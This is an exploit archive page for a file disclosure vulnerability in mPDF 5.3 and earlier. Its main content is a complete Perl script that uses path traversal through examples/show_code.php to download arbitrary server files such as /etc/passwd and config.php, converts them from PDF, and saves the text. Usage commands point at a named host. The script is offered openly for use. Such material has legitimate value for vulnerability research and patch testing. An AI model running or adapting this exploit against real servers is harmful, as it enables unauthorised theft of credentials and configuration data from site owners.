exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

mPDF 5.3 File Disclosure

mPDF 5.3 File Disclosure
Posted Dec 16, 2011
Authored by ZadYree

mPDF versions 5.3 and below suffer from a file disclosure vulnerability.

tags | exploit, info disclosure
SHA-256 | 021e8d29a1c91dc8bb5300c0cc691d9c88317097a9f1672029371a63f26ec8b7

mPDF 5.3 File Disclosure

Change Mirror Download
# Exploit Title: mPDF <= 5.3 File Disclosure
# Google Dork: Please no dork
# Date: 16th December 2011
# Author: ZadYree
# Software Link: https://www.mpdf1.com/mpdf/download
# Version: 5.3 and prior
# Tested on: Multiple
# CVE : N/A

#!/usr/bin/perl -U
=head1 TITLE

mPDF <= 5.3 File Disclosure Exploit (0day)

=head2 SYNOPSIS

-- examples/show_code.php --

preg_match('/example[0]{0,1}(\d+)_(.*?)\.php/',$filename,$m); <--- URI unproperly filtered.
$num = intval($m[1]);
$title = ucfirst(preg_replace('/_/',' ',$m[2]));

if (!$num || !$title) { die("Invalid file"); }

=head2 DESCRIPTION

This vulnerability, due to a weak filter, lets you download any unprotected remote
content, under PDF format.
The exploit may not work, depending on the set up htaccess/chmod rules on the
remote server.

=head2 USAGE

perl exploit.pl -r https://p00niez.com/mpdf53/ ../config.php
perl exploit.pl -a https://p00niez.com/mpdf53/ /etc/passwd

Requiered modules:
PDF::OCR2
LWP::Simple
File::Type

Download a module:
sudo cpan -fi install Module::Name

=head3 Author

Zadyree ~ 3LRVS Team | Blog: z4d.tuxfamily.org/blog

=head3 Thanks

PHDays CTF - Yes, CTFs sometime do give you 0dayz
3LRVS Team - Support

=cut

#************* Configuration **************#
my $pdf_file = '/tmp/b00m.pdf';
$PDF::OCR2::CHECK_PDF = 0;
$del_temp_file = 1;
#******************************************#


use 5.010;
use PDF::OCR2;
use Getopt::Std;
use LWP::Simple;
use File::Type;
use constant TRUE => 1;
use constant FALSE => 0;

help() unless (@ARGV >= 2);

my (%optz, $uri);
getopts('rah', \%optz);
my $relative = $optz{'r'};
my $absolute = $optz{'a'};
my $help = $optz{'h'};
help() unless ($absolute || $relatife);

my ($purl, $fpath) = @ARGV;

my $name = $purl;
$name =~ s{https://(.+?)/.*} {$1};
$name .= ("_" . localtime(time) . ".txt");


$uri = '/examples/show_code.php?filename=example03_LRVS.php/../../../../../../../../' if ($absolute);
$uri = '/examples/show_code.php?filename=example03_LRVS.php/../../' if ($relative);

help() unless ($uri);

my $furl = $purl . $uri . $fpath;
$furl =~ s#(//)#$i++?"/":$1#eg; # Yeah that's twisted.

say "[*]Retrieving content...";
my $file = make_file(get($furl));
die "[-]The stream you requested is not well formatted (forbidden page, etc).\012" unless is_pdf($file);

say "[+]OK\012[*]Converting format...";
$pdf = PDF::OCR2->new($file);

my $text = $pdf->text;
$text =~ s/[^\x0A-\x7F]+?//gm;

open(my $fh, '>', $name);
print $fh $text;
close($fh);

say "[+]OK\012[+]Content successfully extracted!\nFile: ", $name;

unlink($pdf_file) if ($del_temp_file == TRUE);



sub make_file {
my $content = shift;
open($fh, '>', $pdf_file);
print $fh $content;
close($fh);
return($pdf_file);
}

sub is_pdf {
my $checked_file = shift;
my $ft = File::Type->new();
return(1) if ($ft->mime_type($checked_file) eq "application/pdf");
return(0);
}

help() if ($help);

sub help {
say <<"EOF";

Usage: perl $0 [-r|-a] https://[mPDF URL] <file_to_read>

Details:
-r : Relative path (ex: ../file.php)
-a : Absolute path (ex: /etc/file.zd)

For any more information, feel free to contact ZadYree
Happy hacking!
EOF
exit(0);
}

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close